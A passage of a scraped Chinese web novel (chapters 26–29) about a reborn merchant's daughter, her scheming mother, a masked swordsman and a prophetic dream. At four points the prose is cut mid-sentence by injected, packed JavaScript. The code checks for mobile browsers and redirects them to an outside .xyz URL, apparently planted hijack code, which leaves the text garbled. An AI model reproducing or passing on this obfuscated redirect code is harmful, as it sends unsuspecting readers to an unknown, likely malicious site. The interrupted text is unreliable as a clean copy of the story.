沐毓露今日倒是对她这个抠门的娘亲刮目相看，要知道沐昭氏掌家是出了名的节俭，只要是能省下钱的地方，她连一枚铜子儿都不会放过。 让她一口气掏出一百两银子，的确是在为难她，恐怕此刻她的心都在滴血吧。 不过转念一想，沐昭氏平时如此节俭，说不定就是为了沐晚意省的，该省省该花花，这笔钱花在沐晚意的身上，沐昭氏未必会觉得心疼。 沐毓露并不知道自己此刻的脸色铁青得可怕，沐昭氏却是隔着面具感受到了沐毓露的严肃。 她不禁有些紧张地问：“我女儿的八字可是有什么不妥吗？” 沐毓露回过神来，将目光从沐晚意的八字上移开，伸出右手在空中装模作样地掐算了一番，然后道：“没有什么不妥，你女儿的八字好得很。” 沐昭氏紧绷着的身子肉眼可见地放松了下来，她微微往前倾了倾：“那什么时候才会有好人家上门提亲？不满先生，我们家不止一位小姐，但凡其中一位坏了名声，就会连累其她姑娘一并找不到好夫家，请问先生这件事情该如何解决？” 沐毓露有些尴尬，沐昭氏就差指名道姓说她行为不检连累了妹妹的婚事，这让她该如何回答？ 恰在这时去府里取银票的下人回来了，沐昭氏急切地将银票递到沐毓露的面前：“还请先生指条明路，我日日夜夜为自家女儿的婚事操心难安，已经大半年没有睡过好觉了。” 沐毓露将银票收进袖子里，沉吟了一番之后道：“夫人莫急，你家的女儿是贵人命，以后是要嫁给天潢贵胄的。” 沐昭氏闻言一怔， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361944|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神色看起来却是惊吓多过惊喜。 这话却也不是沐毓露乱说，前世她嫁给穆衾寒之后不久，沐晚意便与京中炙手可热的三皇子定了亲。 虽说只是侧妃，但也比沐毓露这个侍妾要好得多。 沐毓露并不知晓沐玉罡是怎么谈妥这门亲事的，想来应当是和三皇子做了许多的利益交换吧？ 毕竟自从她嫁给穆衾寒之后，沐玉罡的生意是越做越红火，在沐府被满门抄斩前的一两年间，称沐玉罡为京中首富也毫不夸张。 首富的嫡女嫁给皇子做侧妃，其实也很合理。 只不过这个消息在目前的沐昭氏看来，着实是有些异想天开了。 她谨慎地问道：“先生要不要再算一算？我的女儿怎么会嫁给天潢贵胄？” 沐毓露故意啧了一声：“怎么，看您的样子是觉得嫁给天潢贵胄不好么？” “这话可不敢乱说。”沐昭氏左右张望了一番，然后才小声地道：“天家风范我等平民自然是万分敬仰，不过说实话，我并不希望成为什么皇亲国戚，我只希望我的女儿能嫁一个知情识趣的好人，一生平安也就是了。” 说这话时她的神情称得上慈爱：“天子的儿媳妇岂是那么容易做的？何况我们不过是经商的人家，她要是嫁进皇家还不知道要受多少委屈。” 沐毓露平静地呼吸着，却觉得每吸一口气心脏都在绞痛。 她沉默了一会儿试探着道：“那也许不是做当今天子的儿媳妇，而是嫁给先帝的王爷呢？” 沐昭氏大惊失色：“这话更不敢乱说，我女儿没这么好的福气，怎么可能嫁给王爷？” 先帝的王爷有很多，但到现在还留在京城的只有摄政王穆衾寒一个。 方才沐昭氏的语气可谓是又惊又惧，仿佛光是想到沐晚意有可能嫁给穆衾寒这件事便令她感到恐惧。 其实这也正常，别看穆衾寒年轻俊美且手握实权，是贵女们的闺中梦里人，也有许多巴结他的权贵上赶着想把女儿嫁给他，但实际上真正爱孩子的父母一点也不希望自己的女儿嫁入穆王府。 那穆王爷年纪轻轻就是个杀神，从小便在战场的死人堆里摸爬滚打，怎么可能懂得疼惜人？ 且别看他现在手握实权，如今皇子们的年纪渐渐大了，等再过两年又是个什么光景，谁也说不准。 但凡是真心疼爱女儿的人家，都不可能把孩子往这个火坑里推。 这样简单的道理，沐毓露却是重活一世之后才明白。 沐昭氏还沉浸在惊恐的情绪中，沐毓露的心却已在这个春日里凉透了。 她犹记得那日沐昭氏和沐玉罡联合起来连哄带骗劝她嫁给穆衾寒时是怎么说的。 她的母亲说放眼整个朱雀国没有哪家子弟比得上穆王爷，她的父亲说嫁给穆衾寒之后有的是好日子过，爹娘不会害她。 可是今日，光是想到沐晚意嫁进王府的日子，沐昭氏就恐惧得声音都变了：“怎么又是天子又是王爷？我的女儿就没有别的选择了？” 26. 第26章 沐毓露没有意识到自己的声音也带了一丝颤抖：“夫人还想要什么别的选择？” 沐昭氏思索着道：“比如说有没有可能和我们一样是经商世家？或者在朝为官也可以，但官职最好不要太大，否则若是日常生活中有了什么矛盾，我女儿可能压不住他。” 沐毓露将沐昭氏的表情都尽收眼底，目光冷得像冬日里的一捧雪：“这些都是夫人自己的期望，您若是想，亲自去为令千金寻觅良婿即可。” 她一字一句地道：“但我按照八字推算令千金的命格，可以看出她确是贵人之命，将嫁给宫中某位皇子，成为他的侧妃。” “侧妃？”沐昭氏皱着眉头复述了一遍沐毓露的话：“只是侧妃而已？” 沐毓露不说话了，她靠在座椅后背上，安静地望着沐昭氏。 很快沐昭氏也反应过来，即便是京中首富的女儿，也很难奢望能嫁给皇子，她的女儿若能成为皇子的侧妃，已然很了不起了。 可是这并非她心中所愿：“作为母亲最盼望的不过是子女健康平安，我一直都告诉我的女儿，今后哪怕是嫁给贫苦人家做正妻，也绝不能入勋爵之家为妾。” 沐昭氏的声音听起来心痛不已：“为人妾室便是低人一等，就连生下的孩子也是庶子，她作为嫡女，从小养尊处优，如何能吃得了这样的苦？” 其实沐毓露完全可以宽解沐昭氏几句，她自己都在寻找逆天改命的机会，又怎么可能轻而易举宣判别人的命运。 可是今日她就是不想说那些宽慰的话，她始终冷冷地注视着沐昭氏，然后没有感情地道出一句：“这就是她的命。” 沐昭氏沉默了，她不知在想些什么，想得红了眼眶。 良久，她站起身来道：“尽管你说这就是她的命，但我还是要试一试，我不信我的女儿就只有给人做妾的命。” 她这话既像是说给沐毓露听的，又像是说给她自己。 沐毓露挑了挑眉：“想要做什么，打算怎么做，这都是您自己的事情。” 沐昭氏点了点头，脸上浮现出些许坚定的神色，她转身欲走，突然又想起了什么，转过头犹豫着问：“我……我还有一个女儿，最近也在议亲，不知道先生能不能也顺便看一下她的姻缘？” 沐毓露心头一动，对沐昭氏道：“我们今日也算是有缘，您将她的八字给我，我顺道看一看。” 沐昭氏的表情却有些尴尬：“我只记得她是在哪一日出生，但不记得具体时辰了。只有生辰和名字的话，您能看吗？” 沐毓露才微微跳动起来的心又瞬间冷了下去，她毫不犹豫地拒绝：“算命要看的自然是详细的八字，若是连八字都没有，那就看不了。” “那好吧。”沐昭氏点了点，倒也没有表现出惋惜的样子，听见沐毓露算不了，转过身急匆匆地离开了。 听闻自己的女儿注定要嫁入皇家做妾，她当然是着急的，现在恐怕是急着回到沐府，继续替沐晚意相看合适的亲事吧。 前世沐晚意嫁给三皇子之后过得如何，沐毓露并不知晓。 那时候她应当已经被穆衾寒惩罚，关进了那间小黑屋里，与外界断了联系，直到将死之日才被柳闻霜告知沐府被满门抄斩这个消息。 沐府被满门抄斩之日也正是她的死期，因此她也不知道彼时身为三皇子侧妃的沐晚意有没有逃过一劫。 食指无意识地轻叩着桌面，沐毓露不无恶意地想，沐玉罡不过是一个商人，什么样的罪过能连累全家都被斩首？ 肯定是涉及到了朝堂之争。 而他能够接触到政治的唯一途径，恐怕便只有沐晚意的夫君三皇子了。 如此看来沐府被满门抄斩，与沐玉罡关系密切的三皇子一脉也难逃一劫，说不定他们的下场比沐府还要凄惨。 所以呢？ 她在心里想，这是自己希望沐晚意走前世的老路，嫁给三皇子的原因吗？ 这个想法令她感到心惊。 她问自己为什么，是因为嫉妒吗？是因为父母的偏心吗？还是因为她果如前世的穆衾寒所言，天生便是恶种？ 心云在这时唤她的名字，将她从纷乱的思绪中拉回现实：“小姐，时候不早了，我们该回去了。” 沐毓露回过神来，将面具从脸上摘下，有些疲惫地应了一声，然后对心云道：“今天我有些累，回去的时候置办一些厨房用具吧，以后我想在院子里给自己做宵夜吃。” 心情不好就想吃点美食犒劳自己，这也是人之常情。带着各式各样的厨具回到自己院子后，沐毓露长长地舒了口气，她在心云之前搭好的炉子的基础上做了一个小灶台，就利用这个灶台解决了主仆二人的晚饭。 吃饱喝足后她和心云伸直了胳膊和腿躺在院子里。 心云在这时问她：“小姐，你今天是不是因为夫人来询问二小姐的婚事，所以心情不好？” 沐毓露转头望她：“我看起来是这么小气的人吗？” 心云的眼中满是心疼：“这不是小气，我觉得夫人这样偏心是不对的。” 沐毓露笑着弹了一下她的脑瓜：“你还真是个傻姑娘，这世上没有谁天生应该喜欢谁，即便是父母也不例外。母亲更喜欢谁，那都是她自己的选择，无所谓对或不对。” 她说的话分明洒脱，声音听起来却很是萧索：“若是认为父母天生就应该爱孩子，一直保持着这样的想法，以后还有得伤心呢。” 心云听得一脸疑惑：“小姐，我不明白，父母难道不就是天生应该爱他们的孩子么？倘若不爱，为什么还要生下孩子呢？” 沐毓露思索着道：“也许把孩子生下来之前他们也没有想到自己会不爱这个孩子吧？” 她又笑了笑：“又或许有的孩子打出生起便只是父母的筹码而已，就比如说你，你父母不是把你卖了才能养得活家里其他的孩子么？” 心云仿佛被她的这番话刺痛了，有些不自然地别过头去。 沐毓露继续道：“不单单是你，其实我也是一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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将手中的白萝卜锤烂，再用清水熬煮，不用加其它的佐料，只需要在萝卜熟透的时候掺入米饭，一碗晶莹剔透的萝卜羹就做好了。 沐毓露一边煮一边流口水，可惜现在她手边只有晚上的剩饭，要是有新鲜的白米就更好了。 若是能将生米磨碎了再来熬这萝卜羹，那才是真正的人间美味。 趁萝卜羹正在锅里煮，她将锅底的炭火也利用了起来。 隔夜的馒头不要扔，把它们切成薄薄的片放到火上烤，再涂上一层油，然后将烤得焦焦脆脆的馒头片铺在灶台上散散火气，就可以搭配着萝卜羹一起吃了。 又香又脆的馒头片，还有晶莹剔透的萝卜羹，简直就是人间绝配。 沐毓露很没出息地抹了一把口水，兀自感慨道：“要是有蜂蜜就好了，把蜂蜜涂在烤好的馒头片上，那才叫绝了。” 没过多久，粥已快要熬好，馒头片也在火上烤着，很快就可以取出来散火气的时候，一罐蜂蜜从天而降。 27. 第27章 说时迟那时快，沐毓露还没有反应过来发生了什么，身子已经行动起来，一个箭步冲上去接住了来自上天的馈赠。 那个罐子虽然密封得很好，但她仍然能够闻得到那甜而不腻的香气，一闻便知里面盛着上好的蜂蜜。 与此同时一道熟悉的声音幽幽地从她头顶传来：“蜂蜜有了，快点烤馒头片，我饿了。” 沐毓露：“……” 原来这罐蜂蜜不是上天的馈赠，而是三州堇璱的馈赠。 她抬起头望向站在屋顶上的人：“你什么时候过来的？在这里偷看我多久了？” 三州堇璱颇为诚实地道：“我在房顶看了一会儿你烤馒头片，没有看多久就去找蜂蜜了。” 说完他还吸了吸鼻子补充一句：“我不是特意来偷看你的，我是被这里的香味儿引来的。” 沐毓露再次无言以对。 三州堇璱的态度如此诚恳，她倒不好再说些什么，拎着蜂蜜罐子回到灶前，将所有的馒头片都涂上厚厚的一层蜂蜜后，她招手示意三州堇璱下来一起吃。 三州堇璱当即从屋顶跃下，和沐毓露一起蹲在灶台前，摘下面具就开始吃。 沐毓露惊讶地瞪了瞪眼：“你终于舍得摘面具啦？” 三州堇璱嚼着馒头片，头也不抬地道：“青铜面具下面是人皮面具。” 沐毓露：“……” 这是她今晚第三次对三州堇璱感到无语。 记得上一世遇见他的时候，他还是个高冷杀手来着，怎么这一世再见到他，他变得这般难以形容了？ 沐毓露一边观察着他一边思索，难道这就是人的多面性？天下第一高手也有这样不为人知的一面？ 高手很不顾形象地大口咀嚼着，像是饿了八百年才从牢里放出来，不到半柱香的时间便把沐毓露的馒头片席卷一空，然后抬起脑袋眼巴巴地望着沐毓露。 那眼神看起来很可怜，像是在大雨里被淋得湿漉漉的小狗才会有的眼神。 沐毓露被那眼神瞅得打了个寒颤，哆哆嗦嗦地问他：“没吃饱？” 三州堇璱抬手抚上肚子感受了一下，然后摇了摇头。 沐毓露明白了：“吃饱了，但是因为太好吃所以还想吃？” 三州堇璱恍然大悟地点点头：“所以吃饱了也还可以继续吃？” 这个问题怎么问得跟个小孩一样？ 不过沐毓露对他倒是很有耐心，她笑眯眯地道：“一般情况下来说吃饱了就不建议继续吃了，不过你在我这里用夜宵，算得上是特殊情况，毕竟我的手艺实在是太好了。” 沐毓露别的不敢说，这做菜的手艺绝对算得上一流，她转过身又忙活了起来：“虽然没有馒头片了，但我可以烤锅巴给你吃。” 三州堇璱随意地往地上一坐，观察着沐毓露手上的动作：“锅巴是什么？” 沐毓露忍不住在心中感慨，高手果然是不食人间烟火，连什么是锅巴都不知道。 她把锅底的一层米饭举给他看：“把这一层米饭煮得硬硬的，等它变得脆了，就变成锅巴了。” 说着她瞅了一眼罐子里残余的蜂蜜：“等下就用锅巴蘸着这些蜂蜜吃，我再给你开一坛腌白菜，怎么样？” 三州堇璱听得连连点头，乖巧地坐在原地等待投喂。 没一会儿锅巴就煮好了，沐毓露将它盛出来放凉，又赶忙跑到院角的一堆罐子跟前挑挑拣拣，最后满意地抱了一坛过来，当着三州堇璱的面打开。 果然是一坛上好的腌白菜。 腌菜的上半部分已经变得又臭又烂，下半部分却是色泽如玉，白皙晶莹，看起来便十分美味。 沐毓露非常大方地给三州堇璱分了一半的锅巴，然后把腌白菜往他面前一推：“你就放开肚子吃吧，吃不完的话你可以带走，这腌白菜可好储存了。” 三州堇璱倒也毫不客气，当即埋头苦吃了起来。 沐毓露歪着脑袋观察正在认真消灭食物的三州堇璱，但见他虽然毫无吃相，不过举手投足间仍然称得上优雅。 她打量着他修长的手指以及抬手时不经意从袖间露出的白皙手腕，看见手臂上隐隐突起的青筋，不由眯了眯眼，顺着手臂向下望去。 不得说这天下第一高手的身段就是好，宽肩窄腰螳螂腿，对她的眼睛很友好。 看着看着她突然想起另一道熟悉的身影。 前世她不也是被穆衾寒的好身材和好皮相给迷得七荤八素的么？她不禁反思，怎么重活一世还是改不了好色的老毛病？ 要知道色字头上一把刀，她上一世死得那样凄惨，多多少少也怪自己被美色迷晕了眼。 想起前世自己的悲惨遭遇，沐毓露打了一个冷颤，赶紧将目光从三州堇璱身上移开，闭上眼睛在心里默念色即是空空即是色。 突然耳畔响起三州堇璱的声音：“你是不是吃饱了？你还吃吗？” 沐毓露疑惑地啊了一声，睁开眼时她手中的那块锅巴已经转移到了三州堇璱的手上。 她不过是闭眼睛在心里默念了几句话，就这一会儿的功夫，他就吃干净了自己手上的那份，然后还抢走了她手上的那份？ 这天下第一高手是在牢里饿了八百年才放出来的吗？ 沐毓露嘴角抽搐：“你还怪有礼貌的，还问我吃不吃。” 看了眼三州堇璱的吃相，她忍不住又说了一句：“你慢点吃，不够还有，吃了锅巴可就不能再吃我了。” 三州堇璱不懂沐毓露的幽默，一边吃一边抬眼看她，一脸的不知所措。 沐毓露一边叹气一边安抚他：“行了，没事了没事了，吃吧吃吧。” 三州堇璱再次抬眼看她，见沐毓露笑得一脸慈爱，于是放下心来继续吃。 这时候的他估计怎么也想不到，不过是吃了沐毓露一碗萝卜羹并一盘馒头片和锅巴，外加一坛腌白菜，一晚上连个荤腥都没见，结果他就这么把自己给卖了。 等到他吃得差不多的时候，沐毓露突然伸手将那坛腌白菜往后一收，同时伸出另一只手攥住三州堇璱的胳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他这个问题倒是一下子就戳中了沐毓露的痛处，她郁闷地道：“倒也不是怕别的人，准确来说只是怕某一个人。” 她说的某一个人自然是直到现在都还没有任何动静的穆衾寒。 以她对穆衾寒的了解，她抛绣球的举动打了穆衾寒的脸，肯定是激怒了他的。 然而他压下了这股怒火，直到现在都还没有任何行动，这才是最恐怖的地方。 明日他大概率会出来搅局，本来沐毓露是抱着走一步看一步的想法，谁成想今天晚上三州堇璱自己送到了跟前来。 她直接对三州堇璱道：“说实话，我前段时间惹了一个人，明天抛绣球的时候他很有可能会过来捣乱，你必须要抢过他，不能让绣球落入他的手里，这就是我唯一的要求。” 说到这里她顺势开始激将：“当然了，我提前告诉你，我惹的这个人在朱雀国算得上权势滔天，你要是畏惧他的势力，也可以不答应。” 28. 第28章 “我倒是不畏惧他的势力。”三州堇璱一开口差点把沐毓露噎死：“我比较畏惧接了绣球之后就必须要娶你。” 他将胳膊从沐毓露的手中抽出来：“你得先答应我，我只负责帮忙抢绣球，不让绣球落入那个人手里，但可不负责娶你。” 沐毓露尴尬地笑：“好，我答应你，我绝对不会逼你娶我的。” 说着她将腌菜坛子推给三州堇璱：“我知道你是为了这坛子腌菜才答应我的请求，你说过我不是你喜欢的类型，放心吧你其实也不是我喜欢的类型。我沐毓露就算是死了，就算从天下第一楼跳下去，我也绝对绝对不会嫁给你。” 三州堇璱这才放心地点了点头，接过腌菜坛子，宝贝疙瘩似的抱在怀里，最后很敬业地再和沐毓露确认了一遍抛绣的时间和地点，这才抱紧坛子飞身离去。 沐毓露无语地注视着他离开的方向。 要不是怕穆衾寒出来搅局，她至于这么求人么？ 说来说去都是怪穆衾寒这个瘟神，从此她讨厌穆衾寒的理由又多了一个。 打着哈欠回到房间，她倒头就准备睡。 这一天实在是太累了，要是再不休息，明天当真起不来了。 然而似乎是老天在与她作对，她刚在床上躺平便感到胸口传来一阵剧痛，心脏猛烈地跳动起来，险些让她呼吸不上。 这是她重生后第二次有这样的不适感，只不过这窒息的感觉比第一次要强烈得多。 她不敢轻举妄动，张开嘴深呼吸，尝试缓解心脏的剧痛，可惜这没有什么用，她感觉胸腔里好像有一团火慢慢烧了起来。 那团火愈烧愈烈，她的意识也随之变得昏沉，陷入昏迷前她努力想要翻身将床头的物件打落，企图摔落东西引起心云的注意。 可惜连手都没能抬得起来，她的意识便陷入了一片黑暗当中。 这种感觉很难形容，她其实并没有失去意识，思维反而比醒着的时候更加清晰。 仿佛她只是身体陷入了沉睡，而灵魂在一股力量的引导下出窍，被牵引着抵达了某个神秘的地方。 是在做梦吧？她问自己。 下一秒，周遭的黑暗被驱散，一个残破的世界闯入她的眼中。 唯有残破二字可以形容那个突然出现在她眼前的世界。 不远处的天穹被好几种不可名状的力量撕扯着，天空裂痕中垂落下无数光瀑，一条浑身发光的巨大白蛇自云涡深处探出身躯，然后在光瀑间缓慢游走。 这是什么东西？ 她不敢再抬头看天，于是将目光从白蛇身上移开，颤颤巍巍地往地上看。 这一看更不得了。 另外一个方向，无数金乌扇动着翅膀从天际俯冲而下，在它们的冲击下，地面开始颤抖撕裂，升腾起千百根岩浆火柱。 火柱间似乎有人类的身影。 沐毓露悬着的心终于放下来一点，这里到处都是她想象不出的怪物，此刻终于看到熟悉的人类身影了。 不过这些人似乎也不是普通的人类，他们正在不停地结印，每个人掌间都散发着不同的光芒。 看起来这些人是在同天上那些恐怖的怪物对抗？ 即便知道这是一个梦，沐毓露还是急得直跺脚。 那些怪物看起来没有一个是好惹的，单从体型上看人类就不是它们的对手。明知道打不过，他们干嘛还要跟怪物对抗呢？ 果如沐毓露所料，那群正在结阵的人没过多久便被从地面喷薄而出的火柱冲散成了飘摇的孤舟，一片火海中的他们看起来比方才还要脆弱可怜。 更可怕的还在后面。 不远处突然隆起一座连绵的肉山，那座山是一个活物，生着七八张不同样貌的脸，每张面孔都长大了嘴发出异常恐怖的声音，或悲或喜，或哭或笑。 在它发出声音的同时，仍在火海中飘摇的人们抬手捂住双耳，他们手中的兵器随着声音震颤，指缝间逐渐渗出血珠。 沐毓露这才知道，原来发出这样怪异的声音便是它的攻击手段。 太恐怖了。 还好这只是一个梦。 倘若她真的生活在这样一个世界，恐怕会被这些怪物瞬间拍成肉饼吧？ 她不敢再睁眼看，闭上眼睛的刹那她似乎看见人类开始反击，然而还没来得及看清他们反击的场面，意识又开始变得模糊，黑暗如潮水般降临。 等她再睁开眼时，看见的却是另一个人类与人类交战的战场。 洪荒的风呜咽着掠过大地，卷起暗红色的尘埃，那尘埃里似乎浸透了干涸的血，被风一吹，在空中划过千万道血色的轨迹，像是无数亡魂在天地间徘徊不去。 同样都是人类，互相杀戮起来却比方才那些怪物还要心狠手辣。 战场上血流成河，便连天空都被染成了令人窒息的血色。 沐毓露不觉间流下眼泪。 这不只是一个梦么？ 为什么她会闻到空气中弥漫着的铁锈般的血腥气？它们浓烈得让她几乎能尝到味道。 战场的最中央有一个格外醒目的直径千里的巨坑，仔细去看会发现坑底沉淀着深红色的液体，那似乎是死于混战中的人类战士所凝聚而成的血海。 海面平静得可怕，没有一丝波澜，却时不时浮现出各种扭曲的面孔。 沐毓露被这一幕吓得惊声尖叫。 她现在对梦中的世界一点也不好奇了，她只想快点醒来。 但显然她并不能操纵自己的梦境，即便闭上了眼睛，那恐怖的场景也依然在她的脑海中萦绕。 不知过了多久，一切都已消散，那一片战场也已成为千万年前的古迹，可她仿佛仍能看见残留于此的无数怨魂。 他们没有形体，只有执念，重复着生前的最后一个动作：厮杀的继续厮杀，逃命的继续逃命，祈祷的继续祈祷。 这些声音交织在一起，形成一首诡异而悲凉的曲调，在血色苍穹下回荡不息。这似乎是一片被诸神遗弃的土地，在这片土地上，连死亡都不得安宁。 方才的沐毓露很想逃却逃不掉，现在的她则完全沉浸在了眼前震撼的场景里。 这一切实在是太真实了，真实到让她不由得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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思考了一下之后她继续问：“可是我要怎么做才能帮到你？” 女子认真地注视着沐毓露，片刻之后她似乎是笑了笑，腰间的链剑随着她的动作闪烁着锋利的光芒。 “此刻你见到的一切都只是一场梦境，但你又如何肯定，醒来之后你接触到的就是现实？” 她这话说得语焉不详，沐毓露听得不明不白，她回望着那女子道：“我能够重活一回已经是天大的幸运，就算只是一个梦，我也会认真地过完这一辈子。” 最后她认真地补充了一句：“我就是想看看，倘若我做出和前世不一样的选择，我的命运能不能改变，我想要重新活一回，不要再像前世那样活得没价值，死得没意义。” 女子听完这话之后似乎是挑了挑眉，但沐毓露看不真切，因为她的身形又开始变得朦朦胧胧，像是要和眼前的云烟一同消散。 这时她开口说了一句沐毓露听不懂的话。 “我在万国时期的名字叫做照川弥。” 29. 第29章 沐毓露又一次听得云里雾里：“什么万国时期？” 她抓紧最后的时间问那女子：“你的名字叫照川弥？你还没说需要我做什么？” 女子的身形彻底消失在了烟雾之中，她缥缈的声音在沐毓露的意识又一次遁入黑暗之前传来：“照川弥是我，但我不是照川弥。” “我预感到了她的死亡，心火的回溯之力是你能够重生的原因，也是让她起死回生的唯一方法。你需要做的就是兑现自己的诺言，好好地活下去。” 沐毓露实在听不懂她在说什么，但她记住了那女子最后说的六个字，那就是好好地活下去。 “不要辜负了重来一次的机会，这一次你要做出别的选择，好好地活下去。” 女子的声音逐渐消散，沐毓露也在一片黑暗当中睁开了眼。 房间里的窗户并没有关严，床畔纱帘在夜风中晃动，摇曳着明明灭灭的月光，直到此时沐毓露才确信自己真的已经醒来，离开了那个荒诞的梦境。 躺在床上喘了好几口气，她抚了抚仍旧有些躁动的心口，起身喝了口水，然后在窗前站了半晌。 窗外月色正好，同那晚在府中第一次见到三州堇璱时一样皎洁清澈。 明天就要抛绣球了，不知道三州堇璱会不会按约定出现，也不知道穆衾寒到底会使什么手段。 不过穆衾寒好歹也是朱雀国的摄政王，至少也要一点脸面，应当不至于在众目睽睽之下耍什么阴损的花招吧？ 只要过了明日就好。 等过了明日她就再也不用担心嫁给穆衾寒重蹈上一世的覆辙，待嫁的日子里她会利用那些铺子攒下一大笔钱，等攒够了银两她就远走高飞。 沐毓露漫无目的地想着。 她突然间又想到了梦中的那个女子。 她说她所在的世界在另一片时空中被称为万国时期，她说在那个时期她的名字叫做照川弥。 此刻再回想起梦中发生的一切，沐毓露的记忆已经变得模糊，她有些不确定地想，也许方才她所看见的那些场景，包括那个女子，一切都只是一场虚幻的梦。 毕竟那一切都实在是太不真实了，她寻找不到那个世界当真存在的证据。 不过她转念一想，她的重生，她自己的存在，不就是那个世界存在的证据吗？ 虽然她已经记不清梦中的细节，但是她记得那个女子告诉过她，不要辜负了重来一次的机会，要做出不一样的选择，好好地活下去。 沐毓露深呼吸了一下，抬手关上窗户，躺回了床上去。 事已至此多思无益，不管她是因为什么力量重生的，此刻对于她来说最重要的，就是避免重复上一世的悲剧。 毕竟上一世的她实在是活得太苦也死得太惨了，现在她心中唯一的执念，便是如梦中所言，不要再像前世那般毫无意义地活，最后毫无尊严地死。 至于重生的真相，梦中的世界是虚幻还是真实，这一切的答案都不是她能探寻出来的。 她叹了口气，盖好被子闭上眼睛。 现在先好好睡一觉吧，养好精神才能应付明天的硬仗。 但是她没有想到，她这一觉居然就这样睡到了日上三竿去。 迷迷糊糊地睁开双眼，看见窗外天光大亮时，沐毓露吓得声音都颤抖了：“心云！现在什么时辰了？” 心云也被沐毓露的反应吓了一跳，她着急忙慌地跑进屋子，替沐毓露掀起床边的帘子：“小姐你醒了？现在快到正午了，我看你睡得香甜，就没有叫醒你。” 沐毓露光着脚跑下床，一边自己更衣，一边催促心云去打水：“你糊涂了不成？今天是抛绣球的日子，就算是睡得再香也要叫醒我呀。” 心云连忙道：“小姐莫慌，今晨夫人遣她的丫鬟来知会我，说天下第一楼被人给包了，因那人是朝廷的人，酒楼也不敢得罪，所以不得已将沐府抛绣球的日子改在了明天。” 她宽慰沐毓露：“夫人也是为小姐好，说今日是小姐的生辰，就让你多睡一会儿，不用急着起来，所以我才没有叫你。” 沐毓露穿衣服的动作微微停顿了一下，她听闻此言的第一反应是穆衾寒终于出手了，他果然要在自己及笄这日捣乱，包下酒楼让她抛不成绣球。 可是下一秒她就意识到不对。 穆衾寒若是当真要阻止她抛绣球，手段多得是，哪里用得着在她及笄当天才出手包下酒楼？ 况且方才心云说酒楼只是今日被占用，抛绣球的日子只是往后推迟了一天，并没有被取消。 这便说明此事并非穆衾寒在捣鬼。 沐毓露的脑子飞快地转动着，倘若不是穆衾寒在捣鬼，那便只剩下一种可能。 她懊恼地对心云道：“傻丫头，你被人给骗了！” 心云还没有反应过来发生了什么，懵懵懂懂地问：“我被那丫鬟给骗了？可她是夫人身边的老人了，她为什么要骗我？” 沐毓露在心里冷笑了一声：“是呀，怪我自己，我怎么就没有想到让你防着夫人。” 心云这时候才明白过来自己到底着了谁的道，她不可置信地望着沐毓露：“所以骗我的人是夫人？但她为什么要这样做？” 便在此时，沐玉罡身边的小厮赶到了沐毓露的院子里，隔着门问道：“大小姐，老爷遣我来问一声，您这边还没有好么？” 小厮扯着嗓门催促：“抛绣球的吉时可已经过了，轿子就等在大门口，小姐您要是收拾好了就赶紧出发吧。老爷说了，要是过了正午您还没有到，这绣球就不抛了。” 心云赶忙道：“烦你去回禀老爷一声，就说我们小姐晨起身体不适，耽搁了些时间，现在已经收拾好了，我们马上就到。” 说完她又嘱咐道：“我们一定会在正午前赶到，烦请你跟老爷说，让他千万不要取消！” 那小厮应了一声，转身离开院子。 沐毓露闭上眼睛深吸了一口气：“先别管夫人为什么要骗你了，她的目的就是让我错过这次抛绣球的机会，老老实实嫁给穆衾寒。你现在给我简单梳妆一下即可，我们要快点出发。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361948|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 心云慌张地答应着。 她虽然着急，手上的动作却是很稳，三下五除二就帮沐毓露梳好头发上好了妆，搀扶着拖着宽大裙摆的沐毓露出门上轿。 坐上轿子之后心云才算是松了口气，她不安地注视着面色沉沉的沐毓露：“小姐，我是不是给你惹麻烦了？” 沐毓露摇摇头，安抚地握住心云的手：“给我惹麻烦的人不是你。” 她的声音很冷，听得心云忍不住打了一个冷颤：“我没有早早地提防她，是我自己的过失。” 心云自然知道她指的是谁，有些不解又有些难过地问：“可我还是想不明白，夫人她到底为什么要这么做？” 